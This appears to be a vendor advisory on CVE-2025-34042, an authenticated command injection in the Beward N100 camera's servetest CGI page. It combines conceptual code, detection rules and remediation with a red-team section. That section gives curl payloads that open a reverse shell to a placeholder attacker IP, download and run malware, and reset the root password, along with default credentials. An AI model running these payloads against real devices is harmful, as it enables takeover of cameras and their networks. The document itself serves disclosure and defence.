CVE-2025-34042
Executive Summary
CVE-2025-34042 is a critical authenticated command injection vulnerability discovered in the Beward N100 IP Camera firmware version M2.1.6.04C014. The flaw resides in the servetest CGI page, specifically within the ServerName and TimeZone parameters. An attacker with valid web interface credentials can inject arbitrary system commands into these parameters, which are unsafely embedded into backend system calls without proper input sanitization. Successful exploitation results in remote code execution (RCE) with root privileges. The Shadowserver Foundation observed exploitation evidence on 2024-12-02 UTC. No official patch has been released, and the vendor has not acknowledged the vulnerability. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of PoC details and the critical impact make this a high-priority threat for affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: Low (PR:L) – attacker needs valid web interface credentials.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – full system compromise.
- Integrity Impact: High (I:H) – attacker can modify system files.
- Availability Impact: High (A:H) – attacker can disrupt device operation.
Threat Level: Critical. The vulnerability allows authenticated attackers to execute arbitrary commands as root, leading to full device takeover. Given the lack of a patch and observed exploitation, immediate mitigation is required.
Deep Dive & Mechanics
The vulnerability is an OS command injection (CWE-78) in the servetest CGI page of the Beward N100 IP Camera. The ServerName and TimeZone parameters are passed directly to a system shell command without sanitization or escaping. For example, the backend might execute a command like:
ntpdate -s $ServerName
or
timedatectl set-timezone $TimeZone
An attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary commands. Since the web interface runs with root privileges, the injected commands execute with full system access.
Root Cause: Lack of input validation and use of unsafe functions like system() or exec() with user-supplied data.
Attack Flow:
- Attacker authenticates to the web interface (default credentials or brute-forced).
- Attacker navigates to the
servetestCGI page. - Attacker injects payload into
ServerNameorTimeZoneparameter, e.g.,; id > /tmp/out. - The backend executes the command, and the attacker retrieves output via another endpoint or reverse shell.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void handle_servetest(char *server_name, char *timezone) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "ntpdate -s %s", server_name);
system(cmd);
// or
snprintf(cmd, sizeof(cmd), "timedatectl set-timezone %s", timezone);
system(cmd);
}
Patched Code (Conceptual):
void handle_servetest(char *server_name, char *timezone) {
// Validate and sanitize input
if (!is_valid_hostname(server_name) || !is_valid_timezone(timezone)) {
log_error("Invalid input");
return;
}
// Use safe API with argument separation
char *args[] = {"ntpdate", "-s", server_name, NULL};
execvp("ntpdate", args);
// or
char *args2[] = {"timedatectl", "set-timezone", timezone, NULL};
execvp("timedatectl", args2);
}
The patched version uses execvp() with separate arguments, preventing shell injection. Input validation functions (is_valid_hostname, is_valid_timezone) ensure only expected characters are accepted.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Target: Beward N100 IP Camera with firmware M2.1.6.04C014.
- Attacker: Kali Linux with
curlandnetcat.
Exploitation Steps:
- Authenticate to the web interface (default credentials:
admin:admin). - Inject command via
ServerNameparameter:
curl -X POST "http://<camera_ip>/cgi-bin/servetest.cgi" \
-d "ServerName=;id > /tmp/pwned;"
- Verify execution by accessing the output file (if accessible via web) or using a reverse shell:
curl -X POST "http://<camera_ip>/cgi-bin/servetest.cgi" \
-d "ServerName=;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1';"
- Catch reverse shell on attacker machine:
nc -lvnp 4444
Alternative Payloads:
ServerName=;wget http://<attacker_ip>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware;TimeZone=;echo "root:newpass" | chpasswd;
Blue Team
Detection Steps:
- Monitor web server logs for unusual
servetest.cgirequests with special characters (;,|,&,`). - Alert on outbound connections from the camera to unknown IPs on high ports (e.g., 4444).
- Check for unexpected processes or files in
/tmp/.
Honeypot Setup:
- Deploy a fake Beward N100 with modified firmware that logs all
servetest.cgirequests. - Use
fail2banto block IPs sending multiple suspicious requests.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections from camera to attacker IP on ports 4444, 8080, or 31337.
- HTTP POST requests to
/cgi-bin/servetest.cgiwith payloads containing;,|,&&, or`. - DNS queries to suspicious domains (e.g.,
malware-c2.example.com).
File IOCs:
/tmp/pwnedor similar files created by injected commands.- Modified
/etc/shadowor/etc/passwdfiles. - Unexpected binaries in
/tmp/or/var/tmp/.
Process IOCs:
- Running processes like
bash,nc,wget, orcurlspawned by the web server. - Reverse shell processes (e.g.,
bash -i).
YARA Rule:
rule CVE_2025_34042_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-34042 in Beward N100"
author = "Valters IT"
date = "2025-04-10"
strings:
$payload1 = "ServerName=;" ascii wide
$payload2 = "TimeZone=;" ascii wide
$payload3 = "|" ascii wide
$payload4 = "&&" ascii wide
$payload5 = "`" ascii wide
condition:
any of ($payload*) and filesize < 10KB
}
Detection Engineering
Sigma Rule:
title: CVE-2025-34042 Beward N100 Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts via servetest.cgi
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/cgi-bin/servetest.cgi"
cs-method: "POST"
cs-uri-query|contains:
- "ServerName=;"
- "TimeZone=;"
- "|"
- "&&"
- "`"
condition: selection
falsepositives:
- Legitimate use of semicolons in parameters (unlikely)
level: critical
Suricata Rule:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34042 Beward N100 Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/servetest.cgi"; http_uri; content:"ServerName=;"; http_client_body; sid:1000001; rev:1;)
Nuclei Template (if provided):
id: CVE-2025-34042
info:
name: Beward N100 Command Injection
severity: critical
description: Authenticated command injection in servetest.cgi
author: Valters IT
tags: cve,cve2025,beward,rce
requests:
- raw:
- |
POST /cgi-bin/servetest.cgi HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
ServerName=;id;
matchers:
- type: word
words:
- "uid="
Remediation & Mitigation
Immediate Actions:
- Disable remote web interface access to the camera if not required.
- Change default credentials immediately.
- Restrict network access to the camera using firewall rules (allow only trusted IPs).
- Monitor logs for exploitation attempts.
Long-term Fix:
- Vendor patch: Await official firmware update from Beward. Since no patch is available, consider replacing the device.
- Input validation: Implement strict input validation for all CGI parameters (allow only alphanumeric and specific characters).
- Use safe APIs: Replace
system()withexecvp()or similar functions that prevent shell injection.
Workaround:
- Deploy a WAF (Web Application Firewall) rule to block requests containing
;,|,&&, or`inservetest.cgiparameters.
Valters IT